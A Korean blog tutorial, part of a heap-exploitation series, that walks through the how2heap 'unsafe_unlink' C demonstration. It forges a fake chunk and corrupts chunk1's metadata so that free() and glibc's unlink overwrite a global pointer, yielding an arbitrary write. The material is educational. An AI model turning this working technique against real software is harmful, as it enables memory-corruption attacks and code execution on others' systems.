ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x08.How2heap - unsafe_unlink
    0x.Heap Tutorial 2018. 4. 10. 00:08

    0x07.How2heap - unsafe_unlink


    오랜만에 how2heap에 대한 문서를 작성한다. 근데 unsafe_unlink에 대해 설명하자니 글로 너무 복잡하다. ㅋㅋ

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
     
     
    uint64_t *chunk0_ptr;
     
    int main()
    {
        fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
        fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
        fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
        fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
     
        int malloc_size = 0x80//we want to be big enough not to use fastbins
        int header_size = 2;
     
        fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
     
        chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
        fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n"&chunk0_ptr, chunk0_ptr);
        fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
     
        fprintf(stderr, "We create a fake chunk inside chunk0.\n");
        fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
        chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
        fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
        chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
        fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
        fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
     
        fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
        fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
        fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
        fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
        fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
        fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
        fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
        fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
        chunk0_ptr[1= sizeof(size_t);
        fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
        fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");
     
        fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
        fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
        chunk1_hdr[0= malloc_size;
        fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
        fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
        chunk1_hdr[1&= ~1;
     
        fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
        fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
        free(chunk1_ptr);
     
        fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3= (uint64_t) victim_string;
     
        fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
        fprintf(stderr, "Original value: %s\n",victim_string);
        chunk0_ptr[0= 0x4141414142424242LL;
        fprintf(stderr, "New Value: %s\n",victim_string);
    }
    cs




    저번 취약점들에 비해 엄청 길어보인다. 하지만 한 단계씩 천천히 나아가보도록 하자.

     


    uint64_t *chunk0_ptr;


    여기서 미리 알아야 할 것은 chunk0_ptr가 글로벌 영역에 있다는 것이다.


    자 이제 분석을 시작해보자.


    int malloc_size = 0x80; //we want to be big enough not to use fastbins
    int header_size = 2;


    가장 먼저 malloc을 할 사이즈를 정하는데, fastbin에는 해당되지 않는 취약점이므로 smallbin을 할당하도록 설정할 것이다.


    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1


    malloc으로 chunk0_ptr chunk1_ptr를 할당했다.


    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);


    두 동적메모리 영역의 주소값을 출력해보면


    The global chunk0_ptr is at 0x602070, pointing to 0x13b6010
    The victim chunk we are going to corrupt is at 0x13b60a0


    동적 할당 영역은 각각 0x13b6010, 0x13b60a0을 가리키는데, 글로벌 포인터인 chunk0_ptr의 주소값은 0x602070이다.


    젤 처음 동적할당한 영역안에 fake_chunk를 생성할 것인데 fd와 bk를 설정할 것이다.


    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); //fd
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); //bk

    fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);


    위의 포인터들이 가리키는 주소값을 출력해보았더니


    Fake chunk fd: 0x602058
    Fake chunk bk: 0x602060


    글로벌 포인터의 주소값에서 각각 24byte, 16byte떨어진 값을 가지고 있다.

    힙 구조의 특성상 청크들은 링크리스트 형태로 연결되어 있다. 그러므로 bk와 fd그리고 prev_size와 같은 정보들을 일치시켜 줘야 한다.

    fake_chunk의 모습을 정리해보자면


    chunk0_ptr[0] : prev_size
    chunk0_ptr[1] : chunk_size
    chunk0_ptr[2] : fd
    chunk0_ptr[3] : bk


    다음과 같이 나타낼 수 있다. free가 발생할 경우 연속한 청크들을 병합할 때 호출되는 unlink 매크로를 수행하기 위해서는 fake_chunk를 손 볼 필요성이 있다.


    P -> fd -> bk
    p -> bk -> fd


    p를 기준으로 fd의 bk 값과 bk의 fd 값이 일치해야 되기 때문에 이 부분에 대한 주소값을 fake_chunk의 fd와 bk의 위치에 저장해야 하며, 이 부분이 일치하지 않을 경우 corrupted double-linked list 에러가 발생한다.

    그림으로 보면 다음과 같을 것이다.



    위와 같이 결국 p -> fd -> bk와 p -> bk -> fd가 같은 값인 0x602070 즉, 글로벌 변수가 가리키는 malloc(0x80)으로 할당받은 Fake_chunk를 가리키므로 동일한 값을 가리키게 된다.

    하지만 여기서 끝나는게 아니라 해당 청크의 size를 다음 청크의 prev_size와 통일시켜야 한다.


    chunksize = prev_size(next_chunk)


    size의 값으로 8을 넣어주면,


    chunk0_ptr[1] = sizeof(size_t);


    next chunk + size의 값이 next chunk + 8이 되기 때문에 chunk0_ptr[1]과 같기 때문에 우회가 된다.(0x13b6018)

    이제 chunk0에서 overflow 취약점이 존재하여 chunk1을 덮어쓸 수 있다고 가정을 해보자.


    uint64_t *chunk1_hdr = chunk1_ptr - header_size;


    chunk1_hdr의 값에 chunk1의 시작위치를 저장한다.


    chunk1_hdr[0] = malloc_size;


    chunk1의 prev_size 값을 malloc_size로 변경함으로써 0x80이라는 값이 들어가게 되는데 이를 통해 우리가 만든 fake_chunk의 주소가 시작주소인 것처럼 만들 수 있다. 만약 정상적으로 free가 되면 0x90의 값을 가지고 있었겠지만, 이 부분을 오버라이팅 함으로써 fake_chunk의 시작주소로 청크의 시작주소를 변경할 수 있는 것이다.


    chunk1_hdr[1] &= ~1;


    그 다음으로 chunk1의 prev_inuse 의 값을 해제한다. 이를 통해 unlink macro가 이전 chunk가 Free되었다고 생각할 것이다.


    free(chunk1_ptr);


    이제 chunk1을 해제를 하면, unlink macro에 의해 chunk가 병합이 된다. 결과적으로 병합으로 인하여 chunk0의 포인터 값이 변조가 된다.

    이를 통해 0x602070이 아닌 fake_chunk의 fd값인 0x60258이 들어가게 된다. 그로 인해 오버플로우를 통해 주소값의 오버라이팅이 가능하다.


    char victim_string[8];


    배열을 하나 생성하고,


    chunk0_ptr[3] = (uint64_t) victim_string;


    주소값을 오버라이팅 했다.


    fprintf(stderr, "Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    fprintf(stderr, "New Value: %s\n",victim_string);


    이제 이 주소값의 내용을 변조해보면


    chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
    Original value: Hello!~
    New Value: BBBBAAAA


    아래와 같이 변조가 된다!!!


    이 과정을 그림으로 표현하자면 다음과 같다.


    '0x.Heap Tutorial' 카테고리의 다른 글

    0x09.How2heap - house_of_einherjar  (0) 2018.11.22
    0x07.How2heap - fastbin_dup_consolidate  (0) 2018.04.09
    0x06.Malloc hook  (0) 2018.03.19
    0x05.How2heap - fastbin_dup_into_stack  (0) 2018.03.12
    0x04.How2heap - fastbin_dup  (0) 2018.03.08

    댓글

Designed by Tistory.